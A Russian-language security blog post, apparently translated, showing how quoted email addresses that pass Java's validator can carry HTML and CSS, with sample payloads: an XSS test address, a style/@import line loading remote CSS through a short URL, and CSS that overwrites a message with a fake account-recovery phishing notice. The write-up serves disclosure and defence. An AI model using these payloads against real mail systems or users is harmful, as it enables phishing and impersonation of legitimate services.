Внедрение кода через адрес электронной почты

Недавно мы заметили, что приложение пропускает email-адреса в небезопасном формате. Конкретно в том случае, происходила отсылка письма с адресом без escape-последовательностей.
Проверка адресов происходила, но лишь при помощи стандартного Java-валидатора javax.mail.internet.InternetAddress.validate(). На странице Википедии присутствуют легитимные адреса, которые в большинстве своем успешно проходят проверку методами библиотеки Java.
У злоумышленников есть два способа сделать инъекцию через email-адрес: комментарии и кавычки. Java-валидатор не пропускает комментарии, но пропускает строки, заключенные в кавычки. Пример легитимного адреса с кавычками:
"john.smith"@example.org
Или такой:
"john.smith<script>alert(1);<script>"@example.org
Последний пример – канонический тест на наличие возможности XSS-атаки.
В последнем примере email-адрес использовался в качестве исходящего адреса, но этот случай, как правило, не пригоден для XSS-атак, поскольку почтовые приложения зачастую не имеют движков на базе Javascript или вообще отказываются выполнять любые скрипты. Иногда злоумышленники все же находят лазейки, но сделать подобное довольно сложно. Если все же уязвимость находится, то проблема становится намного более масштабной чем то, о чем я рассказывают в данной статье.
Современные почтовые клиенты допускают использование CSS, и, соответственно, имеется возможность добавления произвольного HTML-кода и изменения части письма, видимой пользователю. Подобный расклад позволяет успешно выполнять фишинговые атаки, поскольку злоумышленник может сформировать вредоносные сообщения от имени легитимных сервисов.
Мое основное приложения для чтения почты - Mail.app (ОС OSX), второстепенное – Thunderbird. В исследуемом приложении есть строгие ограничения: адрес - не более 50 символов, домен – не менее двух частей, вторая из которых должна состоять как минимум из двух символов.
(Эти условия не прописаны в RFC, и подобных фильтров нет в Java-библиотеках). Учитывая кавычки и формат домена, я могу передать максимум 43 символа:
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"@x.xx
Естественно, сюда же необходимо добавить открывающийся и закрывающийся тег style:
"<style>XXXXXXXXXXXXXXXXXXXXXXXXXXXX</style>"@x.xx
Но даже несмотря на подобные ограничения, благодаря коротким URL и директиве @import, мы можем вставить полезную нагрузку:
"<style>@import 'http://xxxxxxxxxxx...;</style>"@x.xx
Префикс http:// обязателен так же как и кавычки.
Возникает закономерный вопрос: возможно ли найти короткий домен из 11 символов? Тут есть 2 варианта: зарегистрировать домен наподобие «ant.nu», или воспользоваться сервисом ly.my. В последнем случае мы можем уложиться в 9 символов:
"<style>@import 'http://ly.my/pva...;</style>"@x.xx
Далее перезаписываем почтовое сообщение полезной нагрузкой примерно следующего вида:
body {
visibility: hidden;
}
body:after {
content:'We have detected unauthorized access to your account. Please visit http://example.account-recovery.net/ to restore access, or call 555-1212.';
visibility: visible;
display: block;
position: absolute;
padding: 5px;
top: 2px;
}
Вышеуказанное сообщение в почтовом клиенте Mail.app выглядит так:

Рисунок 1: Внешний вид поддельного сообщения в почтовом клиенте Mail.app
В приложении Thunderbird, если принять предупреждение о загрузке удаленного содержимого, сообщение будет выглядеть так:

Рисунок 2: Внешний вид поддельного сообщения в почтовом клиенте Mail.app
Выводы:

• Валидаторы email-адресов не идеальны.
  
  
• В большинстве почтовых клиентов должна присутствовать дополнительная проверка внешних ссылок и дополнительные возможности на примере в Thunderbird, где предлагается приостановка загрузки внешнего содержимого.

Так и не понял как это можно эксплуатировать. Фишинговые письма и без этого можно в html состряпать. В чем собственно payload заключается?